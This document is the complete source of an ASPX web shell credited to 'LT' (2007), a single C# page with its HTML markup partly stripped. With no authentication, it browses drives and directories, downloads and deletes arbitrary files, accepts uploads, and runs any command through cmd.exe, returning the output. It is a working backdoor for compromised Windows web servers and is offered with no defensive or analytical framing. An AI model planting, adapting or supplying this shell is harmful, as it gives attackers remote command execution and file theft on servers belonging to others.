<%-- ASPX Shell by LT (2007) --%> <%@ Page Language="C#" EnableViewState="false" %> <%@ Import Namespace="System.Web.UI.WebControls" %> <%@ Import Namespace="System.Diagnostics" %> <%@ Import Namespace="System.IO" %> <% string outstr = ""; // get pwd string dir = Page.MapPath(".") + "/"; if (Request.QueryString["fdir"] != null) dir = Request.QueryString["fdir"] + "/"; dir = dir.Replace("\\", "/"); dir = dir.Replace("//", "/"); // build nav for path literal string[] dirparts = dir.Split('/'); string linkwalk = ""; foreach (string curpart in dirparts) { if (curpart.Length == 0) continue; linkwalk += curpart + "/"; outstr += string.Format("{1}/ ", HttpUtility.UrlEncode(linkwalk), HttpUtility.HtmlEncode(curpart)); } lblPath.Text = outstr; // create drive list outstr = ""; foreach(DriveInfo curdrive in DriveInfo.GetDrives()) { if (!curdrive.IsReady) continue; string driveRoot = curdrive.RootDirectory.Name.Replace("\\", ""); outstr += string.Format("{1} ", HttpUtility.UrlEncode(driveRoot), HttpUtility.HtmlEncode(driveRoot)); } lblDrives.Text = outstr; // send file ? if ((Request.QueryString["get"] != null) && (Request.QueryString["get"].Length > 0)) { Response.ClearContent(); Response.WriteFile(Request.QueryString["get"]); Response.End(); } // delete file ? if ((Request.QueryString["del"] != null) && (Request.QueryString["del"].Length > 0)) File.Delete(Request.QueryString["del"]); // receive files ? if(flUp.HasFile) { string fileName = flUp.FileName; int splitAt = flUp.FileName.LastIndexOfAny(new char[] { '/', '\\' }); if (splitAt >= 0) fileName = flUp.FileName.Substring(splitAt); flUp.SaveAs(dir + "/" + fileName); } // enum directory and generate listing in the right pane DirectoryInfo di = new DirectoryInfo(dir); outstr = ""; foreach (DirectoryInfo curdir in di.GetDirectories()) { string fstr = string.Format("{1}", HttpUtility.UrlEncode(dir + "/" + curdir.Name), HttpUtility.HtmlEncode(curdir.Name)); outstr += string.Format("{0}<DIR>", fstr); } foreach (FileInfo curfile in di.GetFiles()) { string fstr = string.Format("{1}", HttpUtility.UrlEncode(dir + "/" + curfile.Name), HttpUtility.HtmlEncode(curfile.Name)); string astr = string.Format("Del", HttpUtility.UrlEncode(dir), HttpUtility.UrlEncode(dir + "/" + curfile.Name)); outstr += string.Format("{0}{1:d}{2}", fstr, curfile.Length / 1024, astr); } lblDirOut.Text = outstr; // exec cmd ? if (txtCmdIn.Text.Length > 0) { Process p = new Process(); p.StartInfo.CreateNoWindow = true; p.StartInfo.FileName = "cmd.exe"; p.StartInfo.Arguments = "/c " + txtCmdIn.Text; p.StartInfo.UseShellExecute = false; p.StartInfo.RedirectStandardOutput = true; p.StartInfo.RedirectStandardError = true; p.StartInfo.WorkingDirectory = dir; p.Start(); lblCmdOut.Text = p.StandardOutput.ReadToEnd() + p.StandardError.ReadToEnd(); txtCmdIn.Text = ""; } %> ASPX Shell

ASPX Shell by LT

Shell

File Browser

Drives:

Working directory:

Name Size KB Actions

Upload to this directory: